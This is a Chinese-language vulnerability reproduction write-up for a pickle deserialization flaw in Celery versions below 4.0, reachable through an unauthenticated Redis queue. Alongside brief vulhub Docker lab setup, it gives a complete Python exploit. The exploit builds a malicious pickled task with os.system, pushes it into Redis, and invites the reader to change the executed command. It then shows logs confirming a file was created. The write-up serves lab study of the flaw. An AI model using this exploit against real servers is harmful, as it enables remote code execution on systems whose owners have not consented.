漏洞描述
Celery
是一个简单、灵活、可靠的分布式系统,用于处理大量消息的同时也为操作提供维护此类系统所需的工具,其专注于实时处理的任务队列,支持任务调度。
Celery 4.0
以下版本默认使用Pickle
进行任务消息的序列化传递,而当所用队列服务(Redis、RabbitMQ
、RocketMQ
等)存在未授权访问问题时,便可利用Pickle
反序列化漏洞实现任意代码执行。
影响版本
Celery 4.0
以下版本。
漏洞复现
git clone https://github.com/vulhub/vulhub.git
cd vulhub/celery/celery3_redis_unauth
docker-compose up -d
在受害主机/tmp
目录生成celery_success
文件EXP
,可根据需求自行修改command
内容:
import pickle
import json
import base64
import redis
import sys
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0)
ori_str="{\"content-type\": \"application/x-python-serialize\", \"properties\": {\"delivery_tag\": \"16f3f59d-003c-4ef4-b1ea-6fa92dee529a\", \"reply_to\": \"9edb8565-0b59-3389-944e-a0139180a048\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"delivery_info\": {\"routing_key\": \"celery\", \"priority\": 0, \"exchange\": \"celery\"}, \"correlation_id\": \"6e046b48-bca4-49a0-bfa7-a92847216999\"}, \"headers\": {}, \"content-encoding\": \"binary\", \"body\": \"gAJ9cQAoWAMAAABldGFxAU5YBQAAAGNob3JkcQJOWAQAAABhcmdzcQNLZEvIhnEEWAMAAAB1dGNxBYhYBAAAAHRhc2txBlgJAAAAdGFza3MuYWRkcQdYAgAAAGlkcQhYJAAAADZlMDQ2YjQ4LWJjYTQtNDlhMC1iZmE3LWE5Mjg0NzIxNjk5OXEJWAgAAABlcnJiYWNrc3EKTlgJAAAAdGltZWxpbWl0cQtOToZxDFgGAAAAa3dhcmdzcQ19cQ5YBwAAAHRhc2tzZXRxD05YBwAAAHJldHJpZXNxEEsAWAkAAABjYWxsYmFja3NxEU5YBwAAAGV4cGlyZXNxEk51Lg==\"}"
task_dict = json.loads(ori_str)
command = 'touch /tmp/celery_success'
class Person(object):
def __reduce__(self):
# 未导入os模块,通用
return (__import__('os').system, (command,))
pickleData = pickle.dumps(Person())
task_dict['body']=base64.b64encode(pickleData).decode()
print(task_dict)
r.lpush('celery',json.dumps(task_dict))
使用EXP
之前需先使用pip3
安装redis
:
pip3 install redis
EXP
使用方法:
python3 exploit.py <ip>
切换到vulhub/celery/celery3_redis_unauth
目录,在受害机上查看容器日志:
# 命令
docker-compose logs celery
# 结果
celery_1 | The full contents of the message body was: body: 0 (57b)
celery_1 | {content_type:'application/x-python-serialize' content_encoding:'binary'
celery_1 | delivery_info:{'exchange': 'celery', 'routing_key': 'celery', 'priority': 0} headers={}}
查看容器内/tmp
目录是否成功生成目标文件:
# 命令
docker-compose exec ls -l /tmp
# 结果
total 0
-rw-r--r-- 1 user user 0 Feb 19 13:00 celery_success
成功创建文件celery_success
。
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。